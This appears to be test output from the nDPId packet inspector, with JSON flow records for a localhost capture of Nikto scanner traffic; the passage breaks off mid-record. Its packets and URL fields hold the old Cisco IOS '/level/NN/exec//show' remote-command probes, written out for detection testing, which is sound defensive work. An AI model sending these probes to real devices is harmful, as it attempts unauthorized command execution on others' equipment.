+00636{"flow_id":573,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":573,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":595276,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIjYJAAEAGrqt\/AAABfwAAAcYUH5BJPLV3Xqa0Y4AYAED+vAAAAQEICp1m\/oOdZv6DR0VUIC9sZXZlbC8yNS9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyNzIpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":573,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":573,"flow_packet_id":1,"flow_first_seen":1576420277595,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50708,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/25\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001272)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":574,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":574,"flow_packet_id":1,"flow_first_seen":1576420277597,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50710,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":574,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":574,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":597037,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI4QFAAEAGWyx\/AAABfwAAAcYWH5APltgJOmv38YAYAED+vAAAAQEICp1m\/oSdZv6ER0VUIC9sZXZlbC8yNi9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMjczKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":574,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":574,"flow_packet_id":1,"flow_first_seen":1576420277597,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50710,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/26\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001273)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":575,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":575,"flow_packet_id":1,"flow_first_seen":1576420277598,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50712,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":575,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":575,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":598656,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIuK1AAEAGg4B\/AAABfwAAAcYYH5AkxYBd7ezrAoAYAED+vAAAAQEICp1m\/oadZv6GR0VUIC9sZXZlbC8yNy9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyNzQpDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":575,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":575,"flow_packet_id":1,"flow_first_seen":1576420277598,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50712,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/27\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001274)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":576,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":576,"flow_packet_id":1,"flow_first_seen":1576420277600,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50714,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":576,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":576,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":600311,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIQiNAAEAG+gp\/AAABfwAAAcYaH5DTCnrawy0BcYAYAED+vAAAAQEICp1m\/oidZv6IR0VUIC9sZXZlbC8yOC9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMjc1KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":576,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":576,"flow_packet_id":1,"flow_first_seen":1576420277600,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50714,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/28\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001275)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":577,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":577,"flow_packet_id":1,"flow_first_seen":1576420277602,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50716,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":577,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":577,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":602135,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIalZAAEAG0dd\/AAABfwAAAcYcH5BVA1KtKWKiFYAYAED+vAAAAQEICp1m\/oqdZv6JR0VUIC9sZXZlbC8yOS9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMjc2KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":577,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":577,"flow_packet_id":1,"flow_first_seen":1576420277602,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50716,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/29\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001276)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":578,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":578,"flow_packet_id":1,"flow_first_seen":1576420277604,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50718,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":578,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":578,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":604078,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIeUZAAEAGwud\/AAABfwAAAcYeH5Dj\/UG+lxmHS4AYAED+vAAAAQEICp1m\/oudZv6LR0VUIC9sZXZlbC8zMC9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyNzcpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":578,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":578,"flow_packet_id":1,"flow_first_seen":1576420277604,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50718,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/30\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001277)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":579,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":579,"flow_packet_id":1,"flow_first_seen":1576420277607,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50720,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":579,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":579,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":607028,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADISctAAEAG8mJ\/AAABfwAAAcYgH5D3W3ExGI1+2IAYAED+vAAAAQEICp1m\/o6dZv6OR0VUIC9sZXZlbC8zMS9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyNzgpDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":579,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":579,"flow_packet_id":1,"flow_first_seen":1576420277607,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50720,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/31\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001278)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":580,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":580,"flow_packet_id":1,"flow_first_seen":1576420277608,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50722,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00637{"flow_id":580,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":580,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":608428,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIARxAAEAGOxJ\/AAABfwAAAcYiH5DcsTnhkT\/ypIAYAED+vAAAAQEICp1m\/pCdZv6QR0VUIC9sZXZlbC8zMi9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMjc5KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":580,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":580,"flow_packet_id":1,"flow_first_seen":1576420277608,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50722,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/32\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001279)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":581,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":581,"flow_packet_id":1,"flow_first_seen":1576420277609,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50724,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":581,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":581,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":609821,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIVW1AAEAG5sB\/AAABfwAAAcYkH5Dpym2S0+8SfoAYAED+vAAAAQEICp1m\/pGdZv6RR0VUIC9sZXZlbC8zMy9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMjgwKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":581,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":581,"flow_packet_id":1,"flow_first_seen":1576420277609,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50724,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/33\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001280)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":582,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":582,"flow_packet_id":1,"flow_first_seen":1576420277611,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50726,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":582,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":582,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":611243,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIEPFAAEAGKz1\/AAABfwAAAcYmH5CKoygWHO02yYAYAED+vAAAAQEICp1m\/pOdZv6TR0VUIC9sZXZlbC8zNC9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyODEpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":582,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":582,"flow_packet_id":1,"flow_first_seen":1576420277611,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50726,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/34\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001281)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":583,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":583,"flow_packet_id":1,"flow_first_seen":1576420277612,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50728,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":583,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":583,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":612658,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADILGdAAEAGD8d\/AAABfwAAAcYoH5DpvhSfS8jZeYAYAED+vAAAAQEICp1m\/pSdZv6UR0VUIC9sZXZlbC8zNS9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyODIpDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":583,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":583,"flow_packet_id":1,"flow_first_seen":1576420277612,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50728,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/35\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001282)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":584,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":584,"flow_packet_id":1,"flow_first_seen":1576420277614,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50730,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":584,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":584,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":614003,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIgnNAAEAGubp\/AAABfwAAAcYqH5AJ3LqL6hJPloAYAED+vAAAAQEICp1m\/pWdZv6VR0VUIC9sZXZlbC8zNi9leGVjLy9zaG93IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEyODMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":584,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":584,"flow_packet_id":1,"flow_first_seen":1576420277614,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50730,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/36\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001283)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":585,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":585,"flow_packet_id":1,"flow_first_seen":1576420277615,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50732,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":585,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":585,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":615407,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIj29AAEAGrL5\/AAABfwAAAcYsH5DrNbeX8ap25oAYAED+vAAAAQEICp1m\/pedZv6XR0VUIC9sZXZlbC8zNy9leGVjLy9zaG93IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMjg0KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":585,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":585,"flow_packet_id":1,"flow_first_seen":1576420277615,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50732,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/level\/37\/exec\/\/show","code":0,"content_type":"","user_agent":"Mozilla\/5.00 